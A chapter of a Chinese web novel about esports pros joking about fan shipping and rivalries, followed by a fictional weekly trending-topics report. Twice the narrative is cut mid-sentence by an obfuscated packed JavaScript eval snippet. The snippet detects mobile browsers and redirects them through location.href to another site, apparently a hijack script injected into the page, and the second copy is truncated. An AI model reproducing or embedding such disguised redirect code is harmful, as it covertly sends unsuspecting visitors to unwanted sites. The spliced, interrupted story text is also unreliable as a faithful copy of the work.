夜雨辰玩着电脑的手一顿,古怪地看向嘉辉:“你为什么现在动不动就想着打我?对我敌意怎么这么大?” 不提还好,一提这件事,嘉辉就忍不住恶狠狠地看向他:“上周比赛要是没被你们打那么惨或是我们中规中矩的正常打,我粉丝现在肯定已经破五万了,都怪你夜雨辰,好端端地打那么凶干嘛?我现在跟你也势不两立,你就等着我复仇的火焰吧!” “哈哈。”夜雨辰忍俊不禁,“好,后天我等着。” 第二轮常规赛的比赛安排已经全部出炉了,JYY不出他所料的是在这周末打SupS。 “先不说网上的事情,嘉辉,我觉得我需要提醒你一件事,”小U在旁不禁低笑了两声,“青训毕业的时候,我身价可是比你高的,你们战队买你的主要原因是射手是你们的短板,他们可没那么多钱同时买下我俩,所以最多只有我和老夜轮流吃你分的机会,或是你轮流被我们俩挨打的机会。” “……”嘉辉一噎,撇了撇嘴,“那你也有其他战队可以选择啊,非要这个战队吗?” 替补选手虽然不一定能上场,但现在小U连替补的身份都没有,那肯定连场都没机会上的。 “你还是赶紧换个战队吧,有那瘟神在,FQ大概率还是会落得和以前JYY一个下场的。” 小U耸耸肩,摊手无奈道:“换不了,三年合同。不过我肯定熬过这段时间就好了,反正大部分选手不都是这么过来的吗?而且我的待遇已经比他们好很多了。” 嘉辉翻了个白眼:“那你也是个M,这也想着熬,你更适合玩射手一点。” 夜雨辰沉默不语,心里暗暗地叹了口气。 这不是M不M的问题,而是他没办法和钱过得去啊。 来网吧前,他也对小U说过差不多的话——“选这个战队后悔吗?” 小U摇摇头,不以为意道:“不啊,我本来想着就是如果能这个赛季上场比赛最好,但实际上不能上也是早就做好心理准备的事情,这没办法,毕竟只有FQ开的工资是最高的,我拒绝不了这个诱惑。” 他十分从容道:“本来同时想要面包和梦想对我这个社会底层人士来说就是件不太现实的事情,这个道理我还是懂的,但我还是忍不住来打职业,因为我也想做大明星在台上熠熠生辉,而且以我的实力,以后也肯定有机会上场的,这都是迟早的事,所以随遇而安啦。” 明明一句接着一句都是自我贬低的话,但小U说这些的时候都是云淡风轻地模样,脸上没有半分难过,就好像不是第一次说这种话了。 “至于你担心邱子幸对我动手?你放心,他真的没有,虽然我们在同一个俱乐部,但是我根本就没见过他,没骗你,其他和我一个宿舍的人也根本没跟他打过招呼,我一个无足轻重的人他才不屑我动手,我对他来说没有动手的价值,所以你真的不用担心,要是他真对我搞东搞西,我第一时间就跟你告状好吧?” 虽然类似的话他从小U口中听过好几次,但每次听完,夜雨辰心里还是觉得刺耳和不舒服。可每次他俩忍不住想安慰的时候,小U反而会生气地打断他们—— “我不要你们对我抱有任何同情心,还有我不想提太多有关我家的事,换个话题吧。” 他会给夜雨辰和言星奕交出老底只是因为刚刚好瞒不住了而已,但再也不会告诉更多人自己的窘迫。 夜雨辰默默喝了口水。 不过又不得不承认,小U说得都是事实,他现在确实没有任何能让邱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348254|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子幸下手的地方。 只是总觉得还是有些不对劲的地方,好像忽略了什么东西。 小U也明显不想在这话题继续聊下去了,对嘉辉道:“比起聊这些,我还是更好奇你刚刚说的那个东西。” “我记得你上周不是才跟我说粉丝刚过四万吗,现在就快破五万了?这么快?” “快也快不过老夜。”嘉辉骂骂咧咧地看向夜雨辰,“他涨得更多,气死我了,打也打不过,流量也根本比不过。我说你好端端的比赛,循规蹈矩地打战术不好吗?非要打那么凶,我们友谊的小船说沉就沉。” 夜雨辰无辜道:“电子竞技不需要感情。” 嘉辉冷哼一声:“绝交!” 小U在自己的电脑上直接登录了论坛,点进嘉辉的账号翻看了几眼,特别是里面的几张图,啧啧道:“你不是说很讨厌被粉丝在那说和林元凑一对吗,怎么还会被截图下这么多错位图,真是没眼看。” 嘉辉瞟了一眼屏幕上的图片,整张脸瞬间拧成一团,立马起身抢过小U的鼠标并把页面关上:“你是有什么怪癖吗?怎么还看这些玩意,我真的受不了,恶心死我了。” 小U笑嘻嘻道:“那你还在镜头下老和林元贴这么近?” “我们战队主要靠我们俩来发力,我肯定第一时间和他庆功啊?”嘉辉没好气地看向旁边也没忍住点开网页搜索嘉辉账号的夜雨辰,“老夜求你了教教我吧,你到底是怎么忍受这些文字的?” “什么什么文字?” 此时,夜雨辰恰好点开了一张图——观众从直播里截的看上去林元和嘉辉在接吻的图片。 他扬了扬眉:“哇哦,这能播?” 还挺会截,像真亲了一样。 “你哇个屁!”嘉辉没好气地一把抢过夜雨辰手里的鼠标,迅速叉掉这个辣眼睛的界面,顺便把夜雨辰挤到一旁,在键盘上迅速敲几个字然后把夜雨辰的椅子拉了回来,展示上面的图片和内容给夜雨辰看,“您以为您就没这样的图了吗?您的话题流量可是我的几十倍!受众也更多!” 夜雨辰看着他和郁秋在场上击掌却被别人说成“十指相扣”的图,不解道:“就这?也没你的图有吸引力啊。” 嘉辉无语地给他翻着下面的评论区:“这只是能播的,而且你自己看看下面都评论了什么,还有他们都p了什么表情包。” 说着,他直接点开了评论发的其中一个P好的表情包——两个火柴人标着两个带着他们名字的字体,做着一看就是在接吻的动作。 夜雨辰眼睛眨也不眨一下,满脸淡定道:“这也没啥啊?” 亲个嘴而已,又不是没亲过。 “?” 嘉辉一脸惊恐地夜雨辰对这些图一脸淡定的模样,心里不禁燃起了一股不服输的冲动,立马往下翻看着其他评论,“不行,我还看到过一个图,这个你肯定不能这么淡定,不然你俩肯定有一腿!” “你怎么这方面都要比一下?你们俩又不一样。”小U低笑两声,好奇地探过头看向着嘉辉点开的图,刚好看到一个挺多赞的评论,下意识喃喃道:“欸,这个有表情包的评论说的什么……艹!” 话没说完,他就没忍住低骂出声。 “什么东西?”夜雨辰疑惑地顺着他的目光看了过去。 ‘Qiu你一定要让Night下不了……’ 下面还配着一个两个火柴人做着一眼就不是什么正经动作的图片。 夜雨辰:“……” 这届网友能不能有点边界感? 106.【插播!】 电竞周报负责人覃雨霜:S17赛季职业联赛已经开赛四周,上周话题热度排行榜单统计如下—— 【1.惊,FQ居然没掉级?!】(爆!) 【最热评:三连MVP直接打破所有质疑声,是我之前的声音太大了,对不起!子幸选手!/鞠躬/鞠躬】 【热评:FQ本就应该在S组呆着,理所应当的成绩,我永远不会原谅你把JYY拖入深渊的。】 【2.常规赛第二轮,JYY再胜SupS,2:1】(爆!) 【最热评:黑子都给我出来说话!三把比赛,两边的博弈都拉满了,这要是假赛那这十个选手都能同时获得“粤斯卡影帝”奖了!我话就摆在这里,电子竞技实力说明一切,你们可以质疑选手的人品,但不能质疑他们的实力!】 【热评:听说造谣的人已经进去了,相关贴子也被删完了。我就说嘛,是假赛或有内幕的话这两人早就被联盟抬了,一周哪还能打两场比赛?而且一个对赛程结果没太大影响的对局被拎出来,一看就是同行竞争的手段,现在好了,被这两个战队捡到大便宜了吧?这两个战队的热度一下就小爆了很多,感谢对手。】 【3.YT.叉叉已被联盟带走调查】(爆!) 【最热评:人心惶惶,恶魔在人间,果然不能给太多竞男有滤镜,居然约过这么多的……呕,人渣!】 【热评:只能说怪不得FQ都打不过,原来心思都飘到比赛外了,看别人爆出来的一个个截图证据,好像比赛那天晚上还急着有一趴呢,又脏又恶心。除掉战队瘤子也好,反正还有替补顶上。】 【4.星队落败UM,掉入A组】(爆!) 【最热评(星队三年战队粉牌):虽然不得不承认UM的飞速进步大家都看在眼里,但是星队已经好几个赛季没掉过级了,这次居然直接掉了下来,已经是最近最差的成绩了,看得我真的好心酸好难受,睡不着觉啊!】 【热评:云九今年23了,已经到退役的年龄了,况且现在比赛肉眼可见他的状态一直在下滑……越往下想我心里就越堵得慌,和他同期的One起码拿过两次冠军,可他一次都没拿过啊!云九,五年了,你一直都在这个战队没换过,我真的好想看你拿一次冠军!/流泪/流泪】 【5.Fire.沦陷代言】(热) 【最热评:10月5日正式开售电竞撑腰椅!前一百名下单用户将获赠代言人官方授权周边亲笔签名一份,数量有限,赠完即止!/爱心/爱心】 【追评:主播主播,能不能帮忙把价格打下来一点?一把椅子四千块钱,学生党是真的买不起啊!】 【热评:市面上都没几个沦陷的签名,某鱼上的亲签价格都打到一万块钱了,这么一看四千还算便宜了……】 【6.Wao.IN的新GF】(热) 【最热评:不是哥们?消停了一周您又来找了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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